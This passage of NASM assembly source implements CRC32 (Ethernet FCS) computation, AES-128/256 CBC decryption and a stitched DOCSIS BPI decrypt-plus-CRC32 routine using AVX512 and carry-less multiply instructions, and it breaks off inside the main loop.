;;; Precomputed constants for CRC32 (Ethernet FCS)
;;; Details of the CRC algorithm and 4 byte buffer of
;;; {0x01, 0x02, 0x03, 0x04}:
;;; Result Poly Init RefIn RefOut XorOut
;;; 0xB63CFBCD 0x04C11DB7 0xFFFFFFFF true true 0xFFFFFFFF
align 16
rk1:
dq 0x00000000ccaa009e, 0x00000001751997d0
align 16
rk5:
dq 0x00000000ccaa009e, 0x0000000163cd6124
align 16
rk7:
dq 0x00000001f7011640, 0x00000001db710640
align 16
pshufb_shf_table:
;; use these values for shift registers with the pshufb instruction
dq 0x8786858483828100, 0x8f8e8d8c8b8a8988
dq 0x0706050403020100, 0x000e0d0c0b0a0908
align 16
init_crc_value:
dq 0x00000000FFFFFFFF, 0x0000000000000000
align 16
mask:
dq 0xFFFFFFFFFFFFFFFF, 0x0000000000000000
align 16
mask2:
dq 0xFFFFFFFF00000000, 0xFFFFFFFFFFFFFFFF
align 16
mask3:
dq 0x8080808080808080, 0x8080808080808080
align 16
mask_out_top_bytes:
dq 0xFFFFFFFFFFFFFFFF, 0xFFFFFFFFFFFFFFFF
dq 0x0000000000000000, 0x0000000000000000
;;; partial block read/write table
align 64
byte_len_to_mask_table:
dw 0x0000, 0x0001, 0x0003, 0x0007,
dw 0x000f, 0x001f, 0x003f, 0x007f,
dw 0x00ff, 0x01ff, 0x03ff, 0x07ff,
dw 0x0fff, 0x1fff, 0x3fff, 0x7fff,
dw 0xffff
section .text
;; ===================================================================
;; ===================================================================
;; CRC multiply before XOR against data block
;; ===================================================================
%macro CRC_CLMUL 4
%define %%XCRC_IN_OUT %1 ; [in/out] XMM with CRC (can be anything if "no_crc" below)
%define %%XCRC_MUL %2 ; [in] XMM with CRC constant (can be anything if "no_crc" below)
%define %%XCRC_DATA %3 ; [in] XMM with data block
%define %%XTMP %4 ; [clobbered] temporary XMM
vpclmulqdq %%XTMP, %%XCRC_IN_OUT, %%XCRC_MUL, 0x01
vpclmulqdq %%XCRC_IN_OUT, %%XCRC_IN_OUT, %%XCRC_MUL, 0x10
vpternlogq %%XCRC_IN_OUT, %%XTMP, %%XCRC_DATA, 0x96 ; XCRC = XCRC ^ XTMP ^ DATA
%endmacro
;; ===================================================================
;; ===================================================================
;; CRC32 calculation on 16 byte data
;; ===================================================================
%macro CRC_UPDATE16 6
%define %%INP %1 ; [in/out] GP with input text pointer or "no_load"
%define %%XCRC_IN_OUT %2 ; [in/out] XMM with CRC (can be anything if "no_crc" below)
%define %%XCRC_MUL %3 ; [in] XMM with CRC multiplier constant
%define %%TXMM1 %4 ; [clobbered|in] XMM temporary or data in (no_load)
%define %%TXMM2 %5 ; [clobbered] XMM temporary
%define %%CRC_TYPE %6 ; [in] "first_crc" or "next_crc" or "no_crc"
;; load data and increment in pointer
%ifnidn %%INP, no_load
vmovdqu64 %%TXMM1, [%%INP]
add %%INP, 16
%endif
;; CRC calculation
%ifidn %%CRC_TYPE, next_crc
CRC_CLMUL %%XCRC_IN_OUT, %%XCRC_MUL, %%TXMM1, %%TXMM2
%endif
%ifidn %%CRC_TYPE, first_crc
;; in the first run just XOR initial CRC with the first block
vpxorq %%XCRC_IN_OUT, %%TXMM1
%endif
%endmacro
;; ===================================================================
;; ===================================================================
;; Barrett reduction from 128-bits to 32-bits modulo Ethernet FCS polynomial
;; ===================================================================
%macro CRC32_REDUCE_128_TO_32 5
%define %%CRC %1 ; [out] GP to store 32-bit Ethernet FCS value
%define %%XCRC %2 ; [in/clobbered] XMM with CRC
%define %%XT1 %3 ; [clobbered] temporary xmm register
%define %%XT2 %4 ; [clobbered] temporary xmm register
%define %%XT3 %5 ; [clobbered] temporary xmm register
%define %%XCRCKEY %%XT3
;; compute crc of a 128-bit value
vmovdqa64 %%XCRCKEY, [rel rk5]
;; 64b fold
vpclmulqdq %%XT1, %%XCRC, %%XCRCKEY, 0x00
vpsrldq %%XCRC, %%XCRC, 8
vpxorq %%XCRC, %%XCRC, %%XT1
;; 32b fold
vpslldq %%XT1, %%XCRC, 4
vpclmulqdq %%XT1, %%XT1, %%XCRCKEY, 0x10
vpxorq %%XCRC, %%XCRC, %%XT1
%%_crc_barrett:
;; Barrett reduction
vpandq %%XCRC, [rel mask2]
vmovdqa64 %%XT1, %%XCRC
vmovdqa64 %%XT2, %%XCRC
vmovdqa64 %%XCRCKEY, [rel rk7]
vpclmulqdq %%XCRC, %%XCRCKEY, 0x00
vpxorq %%XCRC, %%XT2
vpandq %%XCRC, [rel mask]
vmovdqa64 %%XT2, %%XCRC
vpclmulqdq %%XCRC, %%XCRCKEY, 0x10
vpternlogq %%XCRC, %%XT2, %%XT1, 0x96 ; XCRC = XCRC ^ XT2 ^ XT1
vpextrd DWORD(%%CRC), %%XCRC, 2 ; 32-bit CRC value
not DWORD(%%CRC)
%endmacro
;; ===================================================================
;; ===================================================================
;; Barrett reduction from 64-bits to 32-bits modulo Ethernet FCS polynomial
;; ===================================================================
%macro CRC32_REDUCE_64_TO_32 5
%define %%CRC %1 ; [out] GP to store 32-bit Ethernet FCS value
%define %%XCRC %2 ; [in/clobbered] XMM with CRC
%define %%XT1 %3 ; [clobbered] temporary xmm register
%define %%XT2 %4 ; [clobbered] temporary xmm register
%define %%XT3 %5 ; [clobbered] temporary xmm register
%define %%XCRCKEY %%XT3
;; Barrett reduction
vpandq %%XCRC, [rel mask2]
vmovdqa64 %%XT1, %%XCRC
vmovdqa64 %%XT2, %%XCRC
vmovdqa64 %%XCRCKEY, [rel rk7]
vpclmulqdq %%XCRC, %%XCRCKEY, 0x00
vpxorq %%XCRC, %%XT2
vpandq %%XCRC, [rel mask]
vmovdqa64 %%XT2, %%XCRC
vpclmulqdq %%XCRC, %%XCRCKEY, 0x10
vpternlogq %%XCRC, %%XT2, %%XT1, 0x96 ; XCRC = XCRC ^ XT2 ^ XT1
vpextrd DWORD(%%CRC), %%XCRC, 2 ; 32-bit CRC value
not DWORD(%%CRC)
%endmacro
;; ===================================================================
;; ===================================================================
;; ETHERNET FCS CRC
;; ===================================================================
%macro ETHERNET_FCS_CRC 9
%define %%p_in %1 ; [in] pointer to the buffer (GPR)
%define %%bytes_to_crc %2 ; [in] number of bytes in the buffer (GPR)
%define %%ethernet_fcs %3 ; [out] GPR to put CRC value into (32 bits)
%define %%xcrc %4 ; [in] initial CRC value (xmm)
%define %%tmp %5 ; [clobbered] temporary GPR
%define %%xcrckey %6 ; [clobbered] temporary XMM / CRC multiplier
%define %%xtmp1 %7 ; [clobbered] temporary XMM
%define %%xtmp2 %8 ; [clobbered] temporary XMM
%define %%xtmp3 %9 ; [clobbered] temporary XMM
;; load CRC constants
vmovdqa64 %%xcrckey, [rel rk1] ; rk1 and rk2 in xcrckey
cmp %%bytes_to_crc, 32
jae %%_at_least_32_bytes
;; less than 32 bytes
cmp %%bytes_to_crc, 16
je %%_exact_16_left
jl %%_less_than_16_left
;; load the plain-text
vmovdqu64 %%xtmp1, [%%p_in]
vpxorq %%xcrc, %%xtmp1 ; xor the initial crc value
add %%p_in, 16
sub %%bytes_to_crc, 16
jmp %%_crc_two_xmms
%%_exact_16_left:
vmovdqu64 %%xtmp1, [%%p_in]
vpxorq %%xcrc, %%xtmp1 ; xor the initial CRC value
jmp %%_128_done
%%_less_than_16_left:
lea %%tmp, [rel byte_len_to_mask_table]
kmovw k1, [%%tmp + %%bytes_to_crc*2]
vmovdqu8 %%xtmp1{k1}{z}, [%%p_in]
vpxorq %%xcrc, %%xtmp1 ; xor the initial CRC value
cmp %%bytes_to_crc, 4
jb %%_less_than_4_left
lea %%tmp, [rel pshufb_shf_table]
vmovdqu64 %%xtmp1, [%%tmp + %%bytes_to_crc]
vpshufb %%xcrc, %%xtmp1
jmp %%_128_done
%%_less_than_4_left:
;; less than 4 bytes left
cmp %%bytes_to_crc, 3
jne %%_less_than_3_left
vpslldq %%xcrc, 5
jmp %%_do_barret
%%_less_than_3_left:
cmp %%bytes_to_crc, 2
jne %%_less_than_2_left
vpslldq %%xcrc, 6
jmp %%_do_barret
%%_less_than_2_left:
vpslldq %%xcrc, 7
%%_do_barret:
CRC32_REDUCE_64_TO_32 %%ethernet_fcs, %%xcrc, %%xtmp1, %%xtmp2, %%xcrckey
jmp %%_64_done
%%_at_least_32_bytes:
CRC_UPDATE16 %%p_in, %%xcrc, %%xcrckey, %%xtmp1, %%xtmp2, first_crc
sub %%bytes_to_crc, 16
%%_main_loop:
cmp %%bytes_to_crc, 16
jb %%_exit_loop
CRC_UPDATE16 %%p_in, %%xcrc, %%xcrckey, %%xtmp1, %%xtmp2, next_crc
sub %%bytes_to_crc, 16
jz %%_128_done
jmp %%_main_loop
%%_exit_loop:
;; Partial bytes left - complete CRC calculation
%%_crc_two_xmms:
lea %%tmp, [rel pshufb_shf_table]
vmovdqu64 %%xtmp2, [%%tmp + %%bytes_to_crc]
vmovdqu64 %%xtmp1, [%%p_in - 16 + %%bytes_to_crc] ; xtmp1 = data for CRC
vmovdqa64 %%xtmp3, %%xcrc
vpshufb %%xcrc, %%xtmp2 ; top num_bytes with LSB xcrc
vpxorq %%xtmp2, [rel mask3]
vpshufb %%xtmp3, %%xtmp2 ; bottom (16 - num_bytes) with MSB xcrc
;; data num_bytes (top) blended with MSB bytes of CRC (bottom)
vpblendvb %%xtmp3, %%xtmp1, %%xtmp2
;; final CRC calculation
CRC_CLMUL %%xcrc, %%xcrckey, %%xtmp3, %%xtmp1
%%_128_done:
CRC32_REDUCE_128_TO_32 %%ethernet_fcs, %%xcrc, %%xtmp1, %%xtmp2, %%xcrckey
%%_64_done:
%endmacro
;; ===================================================================
;; ===================================================================
;; AES128/256 CBC decryption on 1 to 8 blocks
;; ===================================================================
%macro AES_CBC_DEC_1_TO_8 27-34
%define %%SRC %1 ; [in] GP with pointer to source buffer
%define %%DST %2 ; [in] GP with pointer to destination buffer
%define %%NUMBL %3 ; [in] numerical constant with number of blocks to process
%define %%OFFS %4 ; [in/out] GP with src/dst buffer offset
%define %%NBYTES %5 ; [in/out] GP with number of bytes to decrypt
%define %%XKEY0 %6 ; [in] XMM with preloaded key 0 / ARK (xmm0 - xmm15)
%define %%KEY_PTR %7 ; [in] GP with pointer to expanded AES decrypt keys
%define %%XIV %8 ; [in/out] IV in / last cipher text block on out (xmm0 - xmm15)
%define %%XD0 %9 ; [clobbered] temporary XMM (any xmm)
%define %%XD1 %10 ; [clobbered] temporary XMM (any xmm)
%define %%XD2 %11 ; [clobbered] temporary XMM (any xmm)
%define %%XD3 %12 ; [clobbered] temporary XMM (any xmm)
%define %%XD4 %13 ; [clobbered] temporary XMM (any xmm)
%define %%XD5 %14 ; [clobbered] temporary XMM (any xmm)
%define %%XD6 %15 ; [clobbered] temporary XMM (any xmm)
%define %%XD7 %16 ; [clobbered] temporary XMM (any xmm)
%define %%XC0 %17 ; [out] block of clear text (xmm0 - xmm15)
%define %%XC1 %18 ; [out] block of clear text (xmm0 - xmm15)
%define %%XC2 %19 ; [out] block of clear text (xmm0 - xmm15)
%define %%XC3 %20 ; [out] block of clear text (xmm0 - xmm15)
%define %%XC4 %21 ; [out] block of clear text (xmm0 - xmm15)
%define %%XC5 %22 ; [out] block of clear text (xmm0 - xmm15)
%define %%XC6 %23 ; [out] block of clear text (xmm0 - xmm15)
%define %%XC7 %24 ; [out] block of clear text (xmm0 - xmm15)
%define %%XTKEY %25 ; [clobbered] temporary XMM (xmm0 - xmm15)
%define %%NROUNDS %26 ; [in] Number of rounds (9 or 13)
%define %%XCRCB0 %27 ; [out] XMM (any) to receive copy of clear text, or "no_reg_copy"
%define %%XCRCB1 %28 ; [optional/out] clear text XMM (XCRCB0 != "no_reg_copy")
%define %%XCRCB2 %29 ; [optional/out] clear text XMM (XCRCB0 != "no_reg_copy")
%define %%XCRCB3 %30 ; [optional/out] clear text XMM (XCRCB0 != "no_reg_copy")
%define %%XCRCB4 %31 ; [optional/out] clear text XMM (XCRCB0 != "no_reg_copy")
%define %%XCRCB5 %32 ; [optional/out] clear text XMM (XCRCB0 != "no_reg_copy")
%define %%XCRCB6 %33 ; [optional/out] clear text XMM (XCRCB0 != "no_reg_copy")
%define %%XCRCB7 %34 ; [optional/out] clear text XMM (XCRCB0 != "no_reg_copy")
;; /////////////////////////////////////////////////
;; load cipher text blocks XD0-XD7
%assign i 0
%rep %%NUMBL
vmovdqu64 %%XD %+ i, [%%SRC + %%OFFS + (i*16)]
%assign i (i+1)
%endrep
;; /////////////////////////////////////////////////
;; perform ARK => result in XC0-XC7
%assign i 0
%rep %%NUMBL
vpxorq %%XC %+ i, %%XD %+ i, %%XKEY0
%assign i (i+1)
%endrep
;; AES rounds 1 to 9/13 & CRC blocks 0 to 8
%assign crc_block 0
%assign round 1
%rep %%NROUNDS
;; /////////////////////////////////////////////////
;; AES decrypt round
%assign i 0
vmovdqa64 %%XTKEY, [%%KEY_PTR + (round*16)]
%rep %%NUMBL
vaesdec %%XC %+ i, %%XC %+ i, %%XTKEY
%assign i (i+1)
%endrep ;; number of blocks
%assign round (round + 1)
%endrep ;; 9/13 x AES round (8 is max number of CRC blocks)
;; /////////////////////////////////////////////////
;; AES round 10/14 (the last one)
vmovdqa64 %%XTKEY, [%%KEY_PTR + (round*16)]
%assign i 0
%rep %%NUMBL
vaesdeclast %%XC %+ i, %%XC %+ i, %%XTKEY
%assign i (i+1)
%endrep ;; number of blocks
;; /////////////////////////////////////////////////
;; AES-CBC final XOR operations against IV / cipher text blocks
;; put the last cipher text block into XIV
vpxorq %%XC0, %%XC0, %%XIV
%assign i_ciph 1
%assign i_data 0
%rep (%%NUMBL - 1)
vpxorq %%XC %+ i_ciph, %%XC %+ i_ciph, %%XD %+ i_data
%assign i_ciph (i_ciph + 1)
%assign i_data (i_data + 1)
%endrep
%assign i (%%NUMBL - 1)
vmovdqa64 %%XIV, %%XD %+ i
;; /////////////////////////////////////////////////
;; store clear text
%assign i 0
%rep %%NUMBL
vmovdqu64 [%%DST + %%OFFS + (i*16)], %%XC %+ i
%assign i (i+1)
%endrep
;; \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
;; Copy clear text into different registers for CRC
%ifnidn %%XCRCB0, no_reg_copy
%assign i 0
%rep %%NUMBL
vmovdqa64 %%XCRCB %+ i, %%XC %+ i
%assign i (i+1)
%endrep
%endif ;; !no_reg_copy
;; /////////////////////////////////////////////////
;; update lengths and offset
add %%OFFS, (%%NUMBL * 16)
sub %%NBYTES, (%%NUMBL * 16)
%endmacro ;; AES_CBC_DEC_1_TO_8
;; ===================================================================
;; ===================================================================
;; CRC32 on 1 to 8 blocks
;; ===================================================================
%macro CRC32_1_TO_8 6-13
%define %%CRC_TYPE %1 ; [in] CRC operation: "first_crc" or "next_crc"
%define %%CRC_MUL %2 ; [in] XMM with CRC multiplier (xmm0 - xmm15)
%define %%CRC_IN_OUT %3 ; [in/out] current CRC value
%define %%XTMP %4 ; [clobbered] temporary XMM (xmm0 - xmm15)
%define %%NUMBL %5 ; [in] number of blocks of clear text to compute CRC on
%define %%CRCIN0 %6 ; [in] clear text block
%define %%CRCIN1 %7 ; [in] clear text block
%define %%CRCIN2 %8 ; [in] clear text block
%define %%CRCIN3 %9 ; [in] clear text block
%define %%CRCIN4 %10 ; [in] clear text block
%define %%CRCIN5 %11 ; [in] clear text block
%define %%CRCIN6 %12 ; [in] clear text block
%define %%CRCIN7 %13 ; [in] clear text block
%if %%NUMBL > 0
;; block 0 - check first vs next
CRC_UPDATE16 no_load, %%CRC_IN_OUT, %%CRC_MUL, %%CRCIN0, %%XTMP, %%CRC_TYPE
;; blocks 1 to 7 - no difference between first / next here
%assign crc_block 1
%rep (%%NUMBL - 1)
CRC_UPDATE16 no_load, %%CRC_IN_OUT, %%CRC_MUL, %%CRCIN %+ crc_block, \
%%XTMP, next_crc
%assign crc_block (crc_block + 1)
%endrep
%endif ;; %%NUMBL > 0
%endmacro ;; CRC32_1_TO_8
;; ===================================================================
;; ===================================================================
;; Stitched AES128/256 CBC decryption & CRC32 on 1 to 8 blocks
;; XCRCINx - on input they include clear text input for CRC.
;; They get updated towards the end of the macro with
;; just decrypted set of blocks.
;; ===================================================================
%macro AES_CBC_DEC_CRC32_1_TO_8 39
%define %%SRC %1 ; [in] GP with pointer to source buffer
%define %%DST %2 ; [in] GP with pointer to destination buffer
%define %%NUMBL %3 ; [in] numerical constant with number of blocks to cipher
%define %%NUMBL_CRC %4 ; [in] numerical constant with number of blocks to CRC32
%define %%OFFS %5 ; [in/out] GP with src/dst buffer offset
%define %%NBYTES %6 ; [in/out] GP with number of bytes to decrypt
%define %%XKEY0 %7 ; [in] XMM with preloaded key 0 / AES ARK (any xmm)
%define %%KEY_PTR %8 ; [in] GP with pointer to expanded AES decrypt keys
%define %%XIV %9 ; [in/out] IV in / last cipher text block on out (xmm0 - xmm15)
%define %%XD0 %10 ; [clobbered] temporary XMM (any xmm)
%define %%XD1 %11 ; [clobbered] temporary XMM (any xmm)
%define %%XD2 %12 ; [clobbered] temporary XMM (any xmm)
%define %%XD3 %13 ; [clobbered] temporary XMM (any xmm)
%define %%XD4 %14 ; [clobbered] temporary XMM (any xmm)
%define %%XD5 %15 ; [clobbered] temporary XMM (any xmm)
%define %%XD6 %16 ; [clobbered] temporary XMM (any xmm)
%define %%XD7 %17 ; [clobbered] temporary XMM (any xmm)
%define %%XC0 %18 ; [clobbered] temporary XMM (xmm0 - xmm15) - for AES
%define %%XC1 %19 ; [clobbered] temporary XMM (xmm0 - xmm15) - for AES
%define %%XC2 %20 ; [clobbered] temporary XMM (xmm0 - xmm15) - for AES
%define %%XC3 %21 ; [clobbered] temporary XMM (xmm0 - xmm15) - for AES
%define %%XC4 %22 ; [clobbered] temporary XMM (xmm0 - xmm15) - for AES
%define %%XC5 %23 ; [clobbered] temporary XMM (xmm0 - xmm15) - for AES
%define %%XC6 %24 ; [clobbered] temporary XMM (xmm0 - xmm15) - for AES
%define %%XC7 %25 ; [clobbered] temporary XMM (xmm0 - xmm15) - for AES
%define %%XTKEY %26 ; [clobbered] temporary XMM (xmm0 - xmm15) - for AES
%define %%NROUNDS %27 ; [in] Number of rounds (9 or 13)
%define %%CRC_TYPE %28 ; [in] CRC operation: "first_crc" or "next_crc"
%define %%CRC_MUL %29 ; [in] XMM with CRC multiplier (xmm0 - xmm15)
%define %%CRC_IN_OUT %30 ; [in/out] current CRC value
%define %%XTMP %31 ; [clobbered] temporary XMM (xmm0 - xmm15) - for CRC
%define %%XCRCIN0 %32 ; [in/out] clear text block
%define %%XCRCIN1 %33 ; [in/out] clear text block
%define %%XCRCIN2 %34 ; [in/out] clear text block
%define %%XCRCIN3 %35 ; [in/out] clear text block
%define %%XCRCIN4 %36 ; [in/out] clear text block
%define %%XCRCIN5 %37 ; [in/out] clear text block
%define %%XCRCIN6 %38 ; [in/out] clear text block
%define %%XCRCIN7 %39 ; [in/out] clear text block
;; /////////////////////////////////////////////////
;; load cipher text blocks XD0-XD7
%assign i 0
%rep %%NUMBL
vmovdqu64 %%XD %+ i, [%%SRC + %%OFFS + (i*16)]
%assign i (i+1)
%endrep
;; /////////////////////////////////////////////////
;; perform ARK => result in XC0-XC7
%assign i 0
%rep %%NUMBL
vpxorq %%XC %+ i, %%XD %+ i, %%XKEY0
%assign i (i+1)
%endrep
;; AES rounds 1 to 9/13 & CRC blocks 0 to 8
%assign crc_block 0
%assign round 1
%rep %%NROUNDS
;; /////////////////////////////////////////////////
;; AES decrypt round
%assign i 0
vmovdqa64 %%XTKEY, [%%KEY_PTR + (round*16)]
%rep %%NUMBL
vaesdec %%XC %+ i, %%XC %+ i, %%XTKEY
%assign i (i+1)
%endrep
%assign round (round + 1)
;; \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
;; CRC on previously decrypted blocks
%if crc_block < %%NUMBL_CRC
%ifidn %%CRC_TYPE, first_crc
%if crc_block > 0
CRC_CLMUL %%CRC_IN_OUT, %%CRC_MUL, %%XCRCIN %+ crc_block, %%XTMP
%else
vpxorq %%CRC_IN_OUT, %%CRC_IN_OUT, %%XCRCIN %+ crc_block
%endif
%endif ;; first_crc
%ifidn %%CRC_TYPE, next_crc
CRC_CLMUL %%CRC_IN_OUT, %%CRC_MUL, %%XCRCIN %+ crc_block, %%XTMP
%endif ;; next_crc
%endif ;; crc_block < %%NUMBL_CRC
%assign crc_block (crc_block + 1)
%endrep ;; 9/13 x AES round (8 is max number of CRC blocks)
;; /////////////////////////////////////////////////
;; AES round 10/14 (the last one)
vmovdqa64 %%XTKEY, [%%KEY_PTR + (round*16)]
%assign i 0
%rep %%NUMBL
vaesdeclast %%XC %+ i, %%XC %+ i, %%XTKEY
%assign i (i+1)
%endrep
;; /////////////////////////////////////////////////
;; AES-CBC final XOR operations against IV / cipher text blocks
;; put the last cipher text block into XIV
vpxorq %%XC0, %%XC0, %%XIV
%assign i_ciph 1
%assign i_data 0
%rep (%%NUMBL - 1)
vpxorq %%XC %+ i_ciph, %%XC %+ i_ciph, %%XD %+ i_data
%assign i_ciph (i_ciph + 1)
%assign i_data (i_data + 1)
%endrep
%assign i (%%NUMBL - 1)
vmovdqa64 %%XIV, %%XD %+ i
;; /////////////////////////////////////////////////
;; store clear text
%assign i 0
%rep %%NUMBL
vmovdqu64 [%%DST + %%OFFS + (i*16)], %%XC %+ i
%assign i (i+1)
%endrep
;; \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
;; CRC - keep clear text blocks for the next round
%assign i 0
%rep %%NUMBL
vmovdqa64 %%XCRCIN %+ i, %%XC %+ i
%assign i (i+1)
%endrep
;; /////////////////////////////////////////////////
;; update lengths and offset
add %%OFFS, (%%NUMBL * 16)
sub %%NBYTES, (%%NUMBL * 16)
%endmacro ;; AES_CBC_DEC_CRC32_1_TO_8
;; ===================================================================
;; ===================================================================
;; DOCSIS SEC BPI (AES based) decryption + CRC32
;; ===================================================================
%macro DOCSIS_DEC_CRC32 40
%define %%KEYS %1 ;; [in] GP with pointer to expanded keys (decrypt)
%define %%SRC %2 ;; [in] GP with pointer to source buffer
%define %%DST %3 ;; [in] GP with pointer to destination buffer
%define %%NUM_BYTES %4 ;; [in/clobbered] GP with number of bytes to decrypt
%define %%KEYS_ENC %5 ;; [in] GP with pointer to expanded keys (encrypt)
%define %%GT1 %6 ;; [clobbered] temporary GP
%define %%GT2 %7 ;; [clobbered] temporary GP
%define %%XCRC_INIT %8 ;; [in/out] CRC initial value (xmm0 - xmm15)
%define %%XIV %9 ;; [in/out] cipher IV
%define %%ZT1 %10 ;; [clobbered] temporary ZMM (zmm0 - zmm15)
%define %%ZT2 %11 ;; [clobbered] temporary ZMM (zmm0 - zmm15)
%define %%ZT3 %12 ;; [clobbered] temporary ZMM (zmm0 - zmm15)
%define %%ZT4 %13 ;; [clobbered] temporary ZMM (zmm0 - zmm15)
%define %%ZT5 %14 ;; [clobbered] temporary ZMM (zmm0 - zmm15)
%define %%ZT6 %15 ;; [clobbered] temporary ZMM (zmm0 - zmm15)
%define %%ZT7 %16 ;; [clobbered] temporary ZMM (zmm0 - zmm15)
%define %%ZT8 %17 ;; [clobbered] temporary ZMM (zmm0 - zmm15)
%define %%ZT9 %18 ;; [clobbered] temporary ZMM (zmm0 - zmm15)
%define %%ZT10 %19 ;; [clobbered] temporary ZMM (zmm0 - zmm15)
%define %%ZT11 %20 ;; [clobbered] temporary ZMM (zmm0 - zmm15)
%define %%ZT12 %21 ;; [clobbered] temporary ZMM (zmm0 - zmm15)
%define %%ZT13 %22 ;; [clobbered] temporary ZMM (zmm0 - zmm15)
;; no ZT14 - taken by XIV
;; no ZT15 - taken by CRC_INIT
%define %%ZT16 %23 ;; [clobbered] temporary ZMM
%define %%ZT17 %24 ;; [clobbered] temporary ZMM
%define %%ZT18 %25 ;; [clobbered] temporary ZMM
%define %%ZT19 %26 ;; [clobbered] temporary ZMM
%define %%ZT20 %27 ;; [clobbered] temporary ZMM
%define %%ZT21 %28 ;; [clobbered] temporary ZMM
%define %%ZT22 %29 ;; [clobbered] temporary ZMM
%define %%ZT23 %30 ;; [clobbered] temporary ZMM
%define %%ZT24 %31 ;; [clobbered] temporary ZMM
%define %%ZT25 %32 ;; [clobbered] temporary ZMM
%define %%ZT26 %33 ;; [clobbered] temporary ZMM
%define %%ZT27 %34 ;; [clobbered] temporary ZMM
%define %%ZT28 %35 ;; [clobbered] temporary ZMM
%define %%ZT29 %36 ;; [clobbered] temporary ZMM
%define %%ZT30 %37 ;; [clobbered] temporary ZMM
%define %%ZT31 %38 ;; [clobbered] temporary ZMM
%define %%ZT32 %39 ;; [clobbered] temporary ZMM
%define %%NROUNDS %40 ;; [in] Number of rounds (9 or 13)
%define %%NUM_BLOCKS %%GT1
%define %%OFFSET %%GT2
;; Usable for AVX encoding
%xdefine %%XCIPH0 XWORD(%%ZT1)
%xdefine %%XCIPH1 XWORD(%%ZT2)
%xdefine %%XCIPH2 XWORD(%%ZT3)
%xdefine %%XCIPH3 XWORD(%%ZT4)
%xdefine %%XCIPH4 XWORD(%%ZT5)
%xdefine %%XCIPH5 XWORD(%%ZT6)
%xdefine %%XCIPH6 XWORD(%%ZT7)
%xdefine %%XCIPH7 XWORD(%%ZT8)
%xdefine %%XCRC_TMP XWORD(%%ZT9)
%xdefine %%XCRC_MUL XWORD(%%ZT10)
%xdefine %%XCRC_IN_OUT %%XCRC_INIT
%xdefine %%XTMP0 XWORD(%%ZT11)
%xdefine %%XTMP1 XWORD(%%ZT12)
;; Usable for AVX512 only encoding
%xdefine %%XCRC0 XWORD(%%ZT16)
%xdefine %%XCRC1 XWORD(%%ZT17)
%xdefine %%XCRC2 XWORD(%%ZT18)
%xdefine %%XCRC3 XWORD(%%ZT19)
%xdefine %%XCRC4 XWORD(%%ZT20)
%xdefine %%XCRC5 XWORD(%%ZT21)
%xdefine %%XCRC6 XWORD(%%ZT22)
%xdefine %%XCRC7 XWORD(%%ZT23)
%xdefine %%XT0 XWORD(%%ZT24)
%xdefine %%XT1 XWORD(%%ZT25)
%xdefine %%XT2 XWORD(%%ZT26)
%xdefine %%XT3 XWORD(%%ZT27)
%xdefine %%XT4 XWORD(%%ZT28)
%xdefine %%XT5 XWORD(%%ZT29)
%xdefine %%XT6 XWORD(%%ZT30)
%xdefine %%XT7 XWORD(%%ZT31)
%xdefine %%XKEY0 XWORD(%%ZT32)
prefetchw [%%SRC + 0*64]
prefetchw [%%SRC + 1*64]
vmovdqa64 %%XCRC_MUL, [rel rk1]
xor %%OFFSET, %%OFFSET
cmp %%NUM_BYTES, 16
jb %%_check_partial_block
vmovdqa64 %%XKEY0, [%%KEYS + 0*16]
mov %%NUM_BLOCKS, %%NUM_BYTES
shr %%NUM_BLOCKS, 4
and %%NUM_BLOCKS, 7
jz %%_eq8
;; 1 to 7 blocks
cmp %%NUM_BLOCKS, 4
jg %%_gt4
je %%_eq4
%%_lt4:
;; 1 to 3 blocks
cmp %%NUM_BLOCKS, 2
jg %%_eq3
je %%_eq2
jmp %%_eq1
%%_gt4:
;; 5 to 7
cmp %%NUM_BLOCKS, 6
jg %%_eq7
je %%_eq6
jmp %%_eq5
%assign align_blocks 1
%rep 8
%%_eq %+ align_blocks :
;; Start building the pipeline by decrypting number of blocks
;; - later cipher & CRC operations get stitched
AES_CBC_DEC_1_TO_8 %%SRC, %%DST, align_blocks, %%OFFSET, %%NUM_BYTES, \
%%XKEY0, %%KEYS, %%XIV, \
%%XT0, %%XT1, %%XT2, %%XT3, \
%%XT4, %%XT5, %%XT6, %%XT7, \
%%XCIPH0, %%XCIPH1, %%XCIPH2, %%XCIPH3, \
%%XCIPH4, %%XCIPH5, %%XCIPH6, %%XCIPH7, \
%%XTMP0, %%NROUNDS, \
%%XCRC0, %%XCRC1, %%XCRC2, %%XCRC3, \
%%XCRC4, %%XCRC5, %%XCRC6, %%XCRC7
cmp %%NUM_BYTES, (8*16)
jae %%_eq %+ align_blocks %+ _next_8
;; Less than 8 blocks remaining in the message:
;; - compute CRC on decrypted blocks (minus one, in case it is the last one)
;; - then check for any partial block left
%assign align_blocks_for_crc (align_blocks - 1)
CRC32_1_TO_8 first_crc, %%XCRC_MUL, %%XCRC_IN_OUT, %%XTMP0, align_blocks_for_crc, \
%%XCRC0, %%XCRC1, %%XCRC2, %%XCRC3, \
%%XCRC4, %%XCRC5, %%XCRC6, %%XCRC7
vmovdqa64 %%XCRC0, %%XCRC %+ align_blocks_for_crc
jmp %%_check_partial_block
%%_eq %+ align_blocks %+ _next_8:
;; 8 or more blocks remaining in the message
;; - compute CRC on decrypted blocks while decrypting next 8 blocks
;; - next jump to the main loop to do parallel decrypt and crc32
AES_CBC_DEC_CRC32_1_TO_8 %%SRC, %%DST, 8, align_blocks, %%OFFSET, %%NUM_BYTES, \
%%XKEY0, %%KEYS, %%XIV, \
%%XT0, %%XT1, %%XT2, %%XT3, \
%%XT4, %%XT5, %%XT6, %%XT7, \
%%XCIPH0, %%XCIPH1, %%XCIPH2, %%XCIPH3, \
%%XCIPH4, %%XCIPH5, %%XCIPH6, %%XCIPH7, \
%%XTMP0, %%NROUNDS, \
first_crc, %%XCRC_MUL, %%XCRC_IN_OUT, %%XTMP1, \
%%XCRC0, %%XCRC1, %%XCRC2, %%XCRC3, \
%%XCRC4, %%XCRC5, %%XCRC6, %%XCRC7
jmp %%_main_loop
%assign align_blocks (align_blocks + 1)
%endrep
%%_main_loop:
cmp %%NUM_BYTES, (8 * 16)
jb %%_exit_loop
prefetchw [%%SRC + %%OFFSET + 2*64]
prefetchw [%%SRC + %%OFFSET + 3*64]
;; Stitched cipher and CRC
